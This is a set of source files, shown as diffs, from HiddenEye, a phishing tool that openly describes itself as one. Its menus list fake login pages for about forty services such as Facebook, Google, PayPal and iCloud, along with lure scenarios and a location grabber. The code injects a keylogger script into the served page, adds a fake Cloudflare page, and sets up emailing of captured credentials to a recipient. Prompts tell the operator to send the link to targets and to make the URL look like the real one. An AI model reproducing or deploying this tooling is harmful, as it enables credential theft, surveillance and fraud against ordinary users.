# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import base64
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import getpass
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import system
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
# Ask user to start sending credentials to recipient Email Address.
|
||||
def captured_data_email_confirmation(port):
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
|
||||
choice = input(
|
||||
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}"
|
||||
.format(default_palette[0], default_palette[4],
|
||||
default_palette[2])).upper()
|
||||
if choice == "Y" or choice == "y":
|
||||
if path.isfile("Defs/FeatureManager/EmailManager/emailconfig.py"):
|
||||
system("python3 Defs/FeatureManager/EmailManager/SendEmail.py")
|
||||
else:
|
||||
print(
|
||||
"[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION."
|
||||
)
|
||||
wait(2)
|
||||
simple_informant.exit_message(port)
|
||||
elif choice == "N" or choice == "n":
|
||||
simple_informant.exit_message(port)
|
||||
else:
|
||||
system("clear")
|
||||
print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(
|
||||
default_palette[0], default_palette[4], default_palette[2]))
|
||||
wait(1)
|
||||
system("clear")
|
||||
return captured_data_email_confirmation(port)
|
||||
|
||||
|
||||
def captured_data_email_configuration_prompt():
|
||||
run_command("clear")
|
||||
print("""{1}
|
||||
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{1}http://github.com/darksecdevelopers
|
||||
{0}** BY: {1}DARKSEC {0}**""".format(default_palette[0],
|
||||
default_palette[2]))
|
||||
print(
|
||||
"-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
# run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
|
||||
copyfile(
|
||||
"Defs/FeatureManager/EmailManager/EmailConfigDefault.py",
|
||||
"Defs/FeatureManager/EmailManager/emailconfig.py",
|
||||
)
|
||||
GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace("GMAILACCOUNT", GMAILACCOUNT)
|
||||
f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("{0}[.] {1}Email Address Added To config File. !\n".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
GMAILPASSWORD = getpass.getpass(
|
||||
"{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
|
||||
read_data = f.read()
|
||||
GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode())
|
||||
GMAILPASSWORD = GMAILPASSWORD.decode("utf-8")
|
||||
c = read_data.replace("GMAILPASSWORD", GMAILPASSWORD)
|
||||
f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
RECIPIENTEMAIL = input("{0}[{1}+{0}] Enter Recipient Email:{1} ".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace("RECIPIENTEMAIL", RECIPIENTEMAIL)
|
||||
f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("{0}[.] {1}Recipient Email Address Added To config File. !\n".
|
||||
format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
"\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)"
|
||||
.format(default_palette[0], default_palette[4]))
|
|
@ -0,0 +1,11 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
gmail_account = "GMAILACCOUNT"
|
||||
gmail_password = "GMAILPASSWORD"
|
||||
recipient_email = "RECIPIENTEMAIL"
|
|
@ -0,0 +1,33 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import chmod
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import replace
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def add_cloudfare():
|
||||
# run_command('mv Server/www/index.* Server/www/home.php &
|
||||
# & cp WebPages/cloudfare.html Server/www/index.html')
|
||||
chmod("Server", 0o777)
|
||||
chmod("Server/www", 0o777)
|
||||
try:
|
||||
replace("Server/www/index.php", "Server/www/home.php")
|
||||
except:
|
||||
replace("Server/www/index.html", "Server/www/home.php")
|
||||
else:
|
||||
print("Unable to find index file, skipping...")
|
||||
return
|
||||
copyfile("WebPages/cloudflare.html", "Server/www/index.html")
|
||||
print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
wait(1)
|
|
@ -0,0 +1,44 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
from time import sleep
|
||||
|
||||
import Defs.FeatureManager.cloudflare as cloudflare
|
||||
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
||||
import Defs.FeatureManager.keylogger as keylogger
|
||||
import Defs.LocalizationManager.lang_feature_manager.lang_feature_prompt as feature_localization
|
||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def feature_prompt():
|
||||
run_command("clear")
|
||||
print(global_localization.small_logo)
|
||||
print(feature_localization.feature_prompt["feature_alert"])
|
||||
print(feature_localization.feature_prompt["keylogger"])
|
||||
print(feature_localization.feature_prompt["cloudfare"])
|
||||
print(feature_localization.feature_prompt["email"])
|
||||
print(feature_localization.feature_prompt["none"])
|
||||
print(feature_localization.feature_prompt["example"])
|
||||
option = input(global_localization.input_line).lower()
|
||||
|
||||
letters = ["a", "b", "c"]
|
||||
|
||||
for x in option:
|
||||
if x in letters:
|
||||
if "a" in x:
|
||||
keylogger.add_keylogger()
|
||||
elif "b" in x:
|
||||
cloudflare.add_cloudfare()
|
||||
elif "c" in x:
|
||||
email_prompt.captured_data_email_configuration_prompt()
|
||||
else:
|
||||
print(global_localization.invalid_option)
|
||||
sleep(3)
|
||||
feature_prompt()
|
|
@ -0,0 +1,37 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def add_keylogger():
|
||||
if path.exists("Server/www/index.html"):
|
||||
with open("Server/www/index.html") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace("</title>",
|
||||
'</title><script src="keylogger.js"></script>')
|
||||
f = open("Server/www/index.html", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
wait(2)
|
||||
else:
|
||||
with open("Server/www/index.php") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace("</title>",
|
||||
'</title><script src="keylogger.js"></script>')
|
||||
f = open("Server/www/index.php", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
wait(2)
|
|
@ -0,0 +1,43 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
import base64
|
||||
import getpass
|
||||
import platform
|
||||
import re as regular_expression
|
||||
import socket
|
||||
import stat
|
||||
from distutils.dir_util import copy_tree as webpage_set
|
||||
from io import BytesIO
|
||||
from os import chdir
|
||||
from os import chmod
|
||||
from os import getuid
|
||||
from os import mkdir
|
||||
from os import path
|
||||
from os import remove
|
||||
from os import replace
|
||||
from os import system
|
||||
from os import kill
|
||||
from pathlib import Path as pathlib_Path
|
||||
from shutil import copyfile
|
||||
from shutil import rmtree
|
||||
from subprocess import call as run_command
|
||||
from subprocess import CalledProcessError
|
||||
from subprocess import check_call as try_to_run_command
|
||||
from subprocess import check_output
|
||||
from subprocess import DEVNULL
|
||||
from subprocess import PIPE
|
||||
from subprocess import Popen as run_background_command
|
||||
from time import sleep as wait
|
||||
from urllib import request as url_request
|
||||
from zipfile import ZipFile
|
||||
from pgrep import pgrep as check_process
|
||||
|
||||
import requests
|
||||
import signal
|
||||
from pyngrok import conf as ngrok_conf
|
||||
from pyngrok import ngrok
|
||||
|
|
@ -1,75 +0,0 @@
|
|||
# Python3
|
||||
# Language code by sTiKyt
|
||||
import sys
|
||||
import gettext
|
||||
from Defs.Configurations import readConfig
|
||||
|
||||
|
||||
def installGetText():
|
||||
gettext.install('hiddeneye', './locale')
|
||||
|
||||
|
||||
def langRussian():
|
||||
ru = gettext.translation(
|
||||
'hiddeneye', localedir='./locale', languages=['ru'])
|
||||
ru.install()
|
||||
|
||||
|
||||
def langUkrainian():
|
||||
uk = gettext.translation(
|
||||
'hiddeneye', localedir='./locale', languages=['uk'])
|
||||
uk.install()
|
||||
|
||||
|
||||
def langSpanish():
|
||||
"""Install Spanish Language."""
|
||||
es = gettext.translation(
|
||||
'hiddeneye', localedir='./locale', languages=['es'])
|
||||
es.install()
|
||||
|
||||
|
||||
def langEnglish():
|
||||
en = gettext.translation(
|
||||
'hiddeneye', localedir='./locale', languages=['en'])
|
||||
en.install()
|
||||
|
||||
|
||||
def langItalian():
|
||||
it = gettext.translation(
|
||||
'hiddeneye', localedir='./locale', languages=['it'])
|
||||
it.install()
|
||||
|
||||
|
||||
def checkAndSetLanguage():
|
||||
language = readConfig().get("Settings", "Language")
|
||||
|
||||
if language == "en":
|
||||
langEnglish()
|
||||
elif language == "ru":
|
||||
langRussian()
|
||||
elif language == "uk":
|
||||
langUkrainian()
|
||||
elif language == "es":
|
||||
langSpanish()
|
||||
elif language == "it":
|
||||
langItalian()
|
||||
else:
|
||||
langEnglish()
|
||||
|
||||
|
||||
def languageSelector():
|
||||
for arg in sys.argv:
|
||||
if arg in ["--language", "--lang"]:
|
||||
for arg in sys.argv:
|
||||
if arg in ["ru", "russian", "ru_RU"]:
|
||||
langRussian()
|
||||
elif arg in["en", "eng", "english", "en_UK", "en_US"]:
|
||||
langEnglish()
|
||||
elif arg in["uk", "ukraine", "ukrainian", "uk_UA"]:
|
||||
langUkrainian()
|
||||
elif arg in["es", "spain", "spanish", "es_ES"]:
|
||||
langSpanish()
|
||||
elif arg in["it", "italia", "italiano", "it_IT"]:
|
||||
langItalian()
|
||||
else:
|
||||
exit
|
|
@ -0,0 +1,17 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
import Defs.ThemeManager.theme as theme
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def print_sorted_as_menu(sorting_list):
|
||||
col_width = max(len(word) for row in sorting_list for word in row) + 2
|
||||
for row in sorting_list:
|
||||
print("".join(word.ljust(col_width)
|
||||
for word in row).format(default_palette[0],
|
||||
default_palette[2]))
|
|
@ -0,0 +1,196 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
# Contains all ActionManager/main_runner.py translation strings
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.LocalizationManager.localization import _
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def check_version(): # WILL BE MOVED FROM HERE
|
||||
with open("version.txt") as f: # THIS WILL BE MOVED TOO
|
||||
# ver_current = f.read() # DONT REMOVE THESE COMMENTS
|
||||
# version = ver_current.strip() # TO-DO
|
||||
return f.read().strip()
|
||||
|
||||
|
||||
version = check_version()
|
||||
|
||||
lang_start_main_menu = {
|
||||
"version_by_darksec":
|
||||
_(" {2}[{0}v {3}{2}]{0} BY:DARKSEC{1}"
|
||||
).format(default_palette[4], default_palette[2], default_palette[0],
|
||||
version),
|
||||
"short_description":
|
||||
_("{1}[{0} Modern Phishing Tool With Advanced Functionality {1}]").format(
|
||||
default_palette[2], default_palette[0]),
|
||||
"features_summary":
|
||||
_("{1}[{0} PHISHING-KEYLOGGER-INFORMATION COLLECTOR-ALL_IN_ONE_TOOL-SOCIALENGINEERING {1}]"
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"down_line":
|
||||
"{0}________________________________________________________________________________"
|
||||
.format(default_palette[0]),
|
||||
"attack_vector_message":
|
||||
_("------------------------\nSELECT ANY ATTACK VECTOR:\n------------------------"
|
||||
),
|
||||
"phishing_modules_header":
|
||||
_("\n{0}PHISHING-MODULES:").format(default_palette[0]),
|
||||
"phishing_modules_list": [
|
||||
[
|
||||
"{0}[{1}01{0}]{1} Facebook",
|
||||
"{0}[{1}13{0}]{1} Steam",
|
||||
"{0}[{1}25{0}]{1} Badoo",
|
||||
"{0}[{1}37{0}]{1} PlayStation",
|
||||
],
|
||||
[
|
||||
"{0}[{1}02{0}]{1} Google",
|
||||
"{0}[{1}14{0}]{1} VK",
|
||||
"{0}[{1}26{0}]{1} CryptoCurrency",
|
||||
"{0}[{1}38{0}]{1} Xbox",
|
||||
],
|
||||
[
|
||||
"{0}[{1}03{0}]{1} LinkedIn",
|
||||
"{0}[{1}15{0}]{1} iCloud",
|
||||
"{0}[{1}27{0}]{1} DevianArt",
|
||||
"{0}[{1}39{0}]{1} CUSTOM(1)",
|
||||
],
|
||||
[
|
||||
"{0}[{1}04{0}]{1} GitHub",
|
||||
"{0}[{1}16{0}]{1} GitLab",
|
||||
"{0}[{1}28{0}]{1} DropBox",
|
||||
"{0}[{1}40{0}]{1} CUSTOM(2)",
|
||||
],
|
||||
[
|
||||
"{0}[{1}05{0}]{1} StackOverflow",
|
||||
"{0}[{1}17{0}]{1} Netflix",
|
||||
"{0}[{1}29{0}]{1} eBay",
|
||||
],
|
||||
[
|
||||
"{0}[{1}06{0}]{1} WordPress",
|
||||
"{0}[{1}18{0}]{1} Origin",
|
||||
"{0}[{1}30{0}]{1} MySpace",
|
||||
],
|
||||
[
|
||||
"{0}[{1}07{0}]{1} Twitter",
|
||||
"{0}[{1}19{0}]{1} Pinterest",
|
||||
"{0}[{1}31{0}]{1} PayPal",
|
||||
],
|
||||
[
|
||||
"{0}[{1}08{0}]{1} Instagram",
|
||||
"{0}[{1}20{0}]{1} ProtonMail",
|
||||
"{0}[{1}32{0}]{1} Shopify",
|
||||
],
|
||||
[
|
||||
"{0}[{1}09{0}]{1} Snapchat",
|
||||
"{0}[{1}21{0}]{1} Spotify",
|
||||
"{0}[{1}33{0}]{1} Verizon",
|
||||
],
|
||||
[
|
||||
"{0}[{1}10{0}]{1} Yahoo", "{0}[{1}22{0}]{1} Quora",
|
||||
"{0}[{1}34{0}]{1} Yandex"
|
||||
],
|
||||
[
|
||||
"{0}[{1}11{0}]{1} Twitch",
|
||||
"{0}[{1}23{0}]{1} PornHub",
|
||||
"{0}[{1}35{0}]{1} Reddit",
|
||||
],
|
||||
[
|
||||
"{0}[{1}12{0}]{1} Microsoft",
|
||||
"{0}[{1}24{0}]{1} Adobe",
|
||||
"{0}[{1}36{0}]{1} Subito.it",
|
||||
],
|
||||
],
|
||||
"additional_modules":
|
||||
_("\n{0}ADDITIONAL-TOOLS:").format(default_palette[0]),
|
||||
"additional_modules_list": [[_("{0}[{1}0A{0}]{1} Get Target Location")]],
|
||||
"operation_mode":
|
||||
_("\nOperation mode:\n"),
|
||||
"facebook_operation_modes": [
|
||||
[
|
||||
_("{0}[{1}1{0}]{1} Standard Page Phishing"),
|
||||
_("{0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode)"
|
||||
),
|
||||
],
|
||||
[
|
||||
_("{0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)"
|
||||
),
|
||||
_("{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)"
|
||||
),
|
||||
],
|
||||
],
|
||||
"google_operation_modes": [
|
||||
[
|
||||
_("{0}[{1}1{0}]{1} Standard Page Phishing"),
|
||||
_("{0}[{1}3{0}]{1} New Google Web"),
|
||||
],
|
||||
[_("{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)")],
|
||||
],
|
||||
"instagram_operation_modes": [
|
||||
[
|
||||
_("{0}[{1}1{0}]{1} Standard Instagram Web Page Phishing"),
|
||||
_("{0}[{1}4{0}]{1} Instagram Verified Badge Attack (Lure To Get Blue Badge)"
|
||||
),
|
||||
],
|
||||
[
|
||||
_("{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)"
|
||||
),
|
||||
_("{0}[{1}5{0}]{1} Instafollower (Lure To Get More Followers)"),
|
||||
],
|
||||
[
|
||||
_("{0}[{1}3{0}]{1} Instagram Advanced Scenario (Appears as Instagram Profile)"
|
||||
)
|
||||
],
|
||||
],
|
||||
"VK_operation_modes": [[
|
||||
_("{0}[{1}1{0}]{1} Standard VK Web Page Phishing"),
|
||||
_("{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)"),
|
||||
]],
|
||||
"reddit_operation_modes": [[
|
||||
_("{0}[{1}1{0}]{1} New reddit page"),
|
||||
_("{0}[{1}2{0}]{1} Old reddit page")
|
||||
]],
|
||||
"additional_module_location_operation_modes": [[
|
||||
_("{0}[{1}1{0}]{1} NEAR YOU (Webpage Looks Like Legitimate)"),
|
||||
_("{0}[{1}2{0}]{1} GDRIVE (Asks For Location Permission To redirect GDRIVE)"
|
||||
),
|
||||
]],
|
||||
}
|
||||
lang_start_phishing_page = {
|
||||
"custom_folder_directory":
|
||||
_("\n {0}[{1}*{0}]{1} Custom Folder Directory is {0}WebPages/{page}").
|
||||
format(default_palette[0], default_palette[4], page="page"),
|
||||
"manual_reading_suggestion":
|
||||
_("\n {0}[{1}*{0}]{1} Please Read The manual.txt File Available At {0}[WebPages/{page}]"
|
||||
).format(default_palette[0], default_palette[4], page="page"),
|
||||
"press_enter_to_continue_if_setup_correctly":
|
||||
_("\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue."
|
||||
).format(default_palette[0], default_palette[4]),
|
||||
"copying_your_files":
|
||||
_("\n {0}[{1}*{0}]{1} Copying Your Files To Server/www Folder...").format(
|
||||
default_palette[0], default_palette[4]),
|
||||
"https_suggestion":
|
||||
_("\n{0}[{1}*{0}]{1} PLEASE USE TUNNELS/URL WITH '{0}https{1}' \n{0}[{1}*{0}]{1} Browsers Trusts only Https Links To Share Location\n"
|
||||
).format(default_palette[0], default_palette[4]),
|
||||
"gdrive_suggestion":
|
||||
_("{0}[{1}*{0}]{1} {0}Tip: {1}Use Google Drive File Url as Custom Url while asked."
|
||||
).format(default_palette[0], default_palette[4]),
|
||||
}
|
||||
|
||||
lang_enter_custom_redirecting_url = {
|
||||
"enter_redirecting_url_header":
|
||||
_("{0}\n-------------------------------\n{1}[ PUT YOUR REDIRECTING URL HERE ] {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"enter_redirecting_url_prompt":
|
||||
_("\n{0}[{1}*{0}]Insert a custom redirect url:").format(
|
||||
default_palette[0], default_palette[4]),
|
||||
"redirect_here":
|
||||
_("\n{0}REDIRECT HERE>>> {1}").format(default_palette[0],
|
||||
default_palette[2]),
|
||||
}
|
||||
|
||||
#
|
||||
#
|
|
@ -0,0 +1,118 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.LocalizationManager.localization import _
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
lang_server_selection = {
|
||||
"server_selection":
|
||||
_("{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"select_any_available_server":
|
||||
_("\n {0}[{1}*{0}]{0}Select Any Available Server:{1}").format(
|
||||
default_palette[0], default_palette[4]),
|
||||
"servers_list": [
|
||||
[
|
||||
"{0}[{1}00{0}]{1}Localhost",
|
||||
"{0}[{1}04{0}]{1}Localtunnel (not working now)"
|
||||
],
|
||||
[
|
||||
"{0}[{1}01{0}]{1}Ngrok",
|
||||
"{0}[{1}05{0}]{1}OpenPort (not working now)"
|
||||
],
|
||||
[
|
||||
"{0}[{1}02{0}]{1}Serveo",
|
||||
"{0}[{1}06{0}]{1}Pagekite (not working now)"
|
||||
],
|
||||
["{0}[{1}03{0}]{1}Localxpose (not working now)"],
|
||||
],
|
||||
}
|
||||
|
||||
lang_start_localhost = {
|
||||
"localhost_server":
|
||||
_("\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------").
|
||||
format(default_palette[0], default_palette[2]),
|
||||
"your_localhost_is":
|
||||
_("Your Localhost is "),
|
||||
"starting_server_on_addr":
|
||||
_("\n[*] Starting Server On Address:: {0}:{1}"),
|
||||
"running_localhost_server":
|
||||
_("\n{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"send_this_url_suggestion":
|
||||
_("\n{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"localhost_url":
|
||||
_("\n{0}[{1}*{0}]{1} Localhost URL: {2}http://").format(
|
||||
default_palette[2], default_palette[3], default_palette[3]),
|
||||
}
|
||||
|
||||
lang_start_ngrok = {
|
||||
"ngrok_server":
|
||||
_("\n{0}[ NGROK SERVER ]{1}! {0}\n-------------------------------").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"send_this_url_suggestion":
|
||||
_("\n{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"ngrok_url":
|
||||
_("\n{0}[{1}*{0}]{1} NGROK URL: {2}").format(default_palette[0],
|
||||
default_palette[2],
|
||||
default_palette[3]),
|
||||
}
|
||||
|
||||
lang_start_serveo = {
|
||||
"serveo_random_server":
|
||||
_("\n{0}[ RANDOM SERVEO URL ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"serveo_custom_server":
|
||||
_("\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"send_this_url_suggestion":
|
||||
_("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS").format(
|
||||
default_palette[0], default_palette[4]),
|
||||
"make_url_simmilar_to_real_suggestion":
|
||||
_("\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL.").format(
|
||||
default_palette[0], default_palette[4]),
|
||||
"insert_custom_subdomain":
|
||||
_("\n{0}Insert a custom subdomain for serveo").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"serveo_url":
|
||||
_("\n{0}[{1}*{0}]{1} SERVEO URL: {2}").format(default_palette[0],
|
||||
default_palette[4],
|
||||
default_palette[3]),
|
||||
"failed_to_get_domain":
|
||||
_("\n{0}FAILED TO GET THIS DOMAIN.").format(default_palette[0]),
|
||||
"suggestion_to_fix_issue":
|
||||
_("\n{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE."
|
||||
).format(default_palette[0]),
|
||||
"you_can_try_to_select_other_domain":
|
||||
_("\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)...").
|
||||
format(default_palette[0], default_palette[4]),
|
||||
"serveo_url_option_selection":
|
||||
_("\n{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"serveo_phishing_warning":
|
||||
_("\n{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be careful."
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"choose_type_of_url":
|
||||
_("\n{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"url_types": [
|
||||
["{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url)"],
|
||||
["{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)"],
|
||||
],
|
||||
"serveo_is_down":
|
||||
_("{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? {1}Y{0}/{1}n{0}"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
}
|
||||
|
||||
lang_rand_localxpose = {
|
||||
"localxpose_random_server":
|
||||
_("\n{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2])
|
||||
}
|
|
@ -0,0 +1,815 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.LocalizationManager.localization import _
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
text_to_confirm_license = _("Yes, i do")
|
||||
|
||||
write_eula = _("""
|
||||
# To Accept EULA set eula to True
|
||||
# Don't accept EULA if you didn't read LICENSE
|
||||
|
||||
""")
|
||||
|
||||
lang_check_php = {
|
||||
"found":
|
||||
_("\n {0}[{1}*{0}] PHP has been found. Proceeding.").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"not-found":
|
||||
_("\n {0}[{1}*{0}] Unable to find PHP, please install PHP and try again.").
|
||||
format(default_palette[0], default_palette[2]),
|
||||
}
|
||||
|
||||
lang_check_permissions = {
|
||||
"permissions_granted":
|
||||
_("{0}Permissions granted!").format(default_palette[0]),
|
||||
"permissions_denied":
|
||||
_("{0}Permissions denied! Please run as {1}sudo{0}").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"windows_warning":
|
||||
_("\n{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're using a {1}Linux/GNU{0} system."
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
}
|
||||
|
